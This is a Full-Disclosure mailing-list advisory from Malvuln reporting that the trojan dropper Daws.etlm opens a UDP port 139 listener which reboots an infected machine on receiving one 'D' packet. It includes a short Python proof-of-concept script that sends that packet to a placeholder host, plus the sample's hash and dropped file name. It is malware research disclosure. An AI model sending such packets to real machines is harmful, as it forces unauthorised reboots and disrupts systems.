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List:       full-disclosure
Subject:    [FD] Trojan-Dropper.Win32.Daws.etlm / Remote Unauthenticated System Reboot
From:       malvuln <malvuln13 () gmail ! com>
Date:       2021-02-25 22:06:56
Message-ID: CAAHK0WRbE+oWPR+HoVV53R_tF5esUtOFimo_EsyB2tHm3R7gTw () mail ! gmail ! com
[Download RAW message or body]

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/a0479e18283ed46e8908767dd0b40f8f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.Daws.etlm
Vulnerability: Remote Unauthenticated System Reboot
Description: Daws.etlm drops an executable named "MSWDM.EXE" under Windows
dir and listens on UDP port 139. Unauthenticated third-party attackers can
send a single uppercase char "D" datagram packet to the infected machine
causing it to reboot. Basic testing using other upper/lower case chars from
A-Z or numbers 0-9 did not reveal anything else of interest.
Type: PE32
MD5: a0479e18283ed46e8908767dd0b40f8f
Vuln ID: MVID-2021-0111
Dropped files: MSWDM.EXE
Disclosure: 02/25/2021


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=139

def doit():
    try:
        s=socket(AF_INET, SOCK_DGRAM)
        s.connect((MALWARE_HOST,PORT))
    except Exception as e:
        print(str(e))

    s.send("D")
    s.close()

    print("Trojan-Dropper.Win32.Daws.etlm / Remote Unauthenticated System
Reboot")
    print("MD5: a0479e18283ed46e8908767dd0b40f8f")
    print("By Malvuln");

if __name__=="__main__":
    doit()


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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